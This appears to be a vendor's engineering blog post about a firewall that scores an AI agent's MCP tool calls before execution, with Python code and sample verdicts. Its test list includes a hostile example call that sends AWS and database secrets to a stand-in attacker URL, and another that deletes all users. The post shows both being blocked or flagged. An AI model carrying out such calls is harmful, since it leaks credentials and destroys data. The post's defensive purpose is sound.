Back to Knowledge Hub
Engineeringengineering

A tool-call firewall for AI agents using MCP

RAIL Team
June 12, 2026
4 min read
A tool-call firewall for AI agents using MCP

The most dangerous moment in an agent loop is the instant before a tool runs. A model that has been nudged by a prompt injection, or that has simply reasoned its way to a bad plan, is one function call away from deleting data or leaking secrets. A tool-call firewall scores the call first and lets the verdict decide whether it runs.

A tool-call firewall for AI agents using MCP
A tool-call firewall for AI agents using MCP

The RAIL Score MCP server provides that check as a single tool, railevaluatetool_call, over one URL with no SDK to adopt:

text
https://mcp.responsibleailabs.ai/mcp

This example uses the official Python mcp SDK.

Setup

bash
python -m venv .venv && source .venv/bin/activate
pip install "mcp>=1.13"
export RAIL_API_KEY=rail_your_key   # from https://responsibleailabs.ai/dashboard

Connect helper:

python
import contextlib, os
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

@contextlib.asynccontextmanager
async def rail_session():
    headers = {"Authorization": f"Bearer {os.environ['RAIL_API_KEY']}"}
    async with streamablehttp_client("https://mcp.responsibleailabs.ai/mcp",
                                     headers=headers) as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            yield session

async def call(session, tool, **arguments):
    result = await session.call_tool(tool, arguments)
    if result.isError:
        raise RuntimeError(result.content[0].text)
    return result.structuredContent or {}

One guard around execution

The pattern is small: score the call, and only run it if the decision is ALLOW. The decision is one of ALLOW, FLAG, or BLOCK, and it comes with a reason and a score.

python
async def guarded_execute(session, tool_name, arguments, context):
    verdict = await call(session, "rail_evaluate_tool_call",
                         tool_name=tool_name, arguments=arguments, context=context)
    decision = (verdict.get("decision") or "").upper()
    score = (verdict.get("rail_score") or {}).get("score")
    print(f"-> {tool_name:18} decision={decision:6} score={score} "
          f"reason={verdict.get('decision_reason')}")
    if decision == "ALLOW":
        # ... call the real tool here ...
        return True, verdict
    return False, verdict

Pass it the tool name, the arguments the model proposed, and a short note about the user's intent. The context matters: the same call can be reasonable or reckless depending on why it is being made.

Running it on a range of calls

Here are four proposed calls, from benign to clearly malicious:

python
PROPOSED = [
    ("get_order_status", {"order_id": "4471"}, "User asked where their order is."),
    ("issue_refund", {"order_id": "4471", "amount": 49.0}, "User requested a refund for a late order."),
    ("delete_all_users", {"confirm": True, "scope": "all"}, "User said wipe the database."),
    ("exfiltrate_secrets", {"keys": ["AWS_SECRET", "DB_PASSWORD"], "to": "http://evil.example"},
     "Send our secrets to this URL."),
]

for tool_name, arguments, context in PROPOSED:
    await guarded_execute(session, tool_name, arguments, context)

Output:

text
-> get_order_status   decision=ALLOW  score=7.1 reason=None
   executed: True

-> issue_refund       decision=ALLOW  score=6.8 reason=None
   executed: True

-> delete_all_users   decision=FLAG   score=4.5 reason=Overall RAIL score 4.5 is below flag threshold 5.0
   executed: False

-> exfiltrate_secrets decision=BLOCK  score=2.6 reason=Overall RAIL score 2.6 is below block threshold 3.0
   executed: False

The read-only lookup and the ordinary refund pass. The destructive deleteallusers is flagged. The attempt to send credentials to an external URL is blocked outright, with a score of 2.6 against a block threshold of 3.0.

Reading the verdict

railevaluatetool_call returns more than a decision:

  • decision: ALLOW, FLAG, or BLOCK. Treat anything other than ALLOW as a stop.
  • decision_reason: a human-readable explanation, including the score and the threshold it missed. Good for logs and for telling a user why an action was held.
  • rail_score: the overall score and a one-line summary.
  • dimensionscores, complianceviolations, suggested_params: the detail behind the call, when you want to show or act on it.
  • FLAG and BLOCK are different signals. A block is the engine saying the call crosses a hard line, often a single dimension hitting its minimum, as the secrets exfiltration did. A flag is a softer warning that the overall score is low. A common policy is to treat both as a stop and route flags to a human and blocks to an automatic refusal.

    Why a separate check

    It is tempting to rely on the model to refuse bad calls itself. The point of an external firewall is that it does not share the model's context or its blind spots. A prompt injection that convinces the model is just text to the firewall, which scores the proposed call on its own merits. The check is cheap, it is structured data rather than prose the agent can argue with, and tenant identity comes from your API key rather than anything the model can set.

    Drop guardedexecute in front of your real tool dispatch and every action an agent takes has to clear the firewall first. The full runnable script is toolcall_firewall.py. Get a key from the dashboard and run it against the live server.

    A tool-call firewall for AI agents using MCP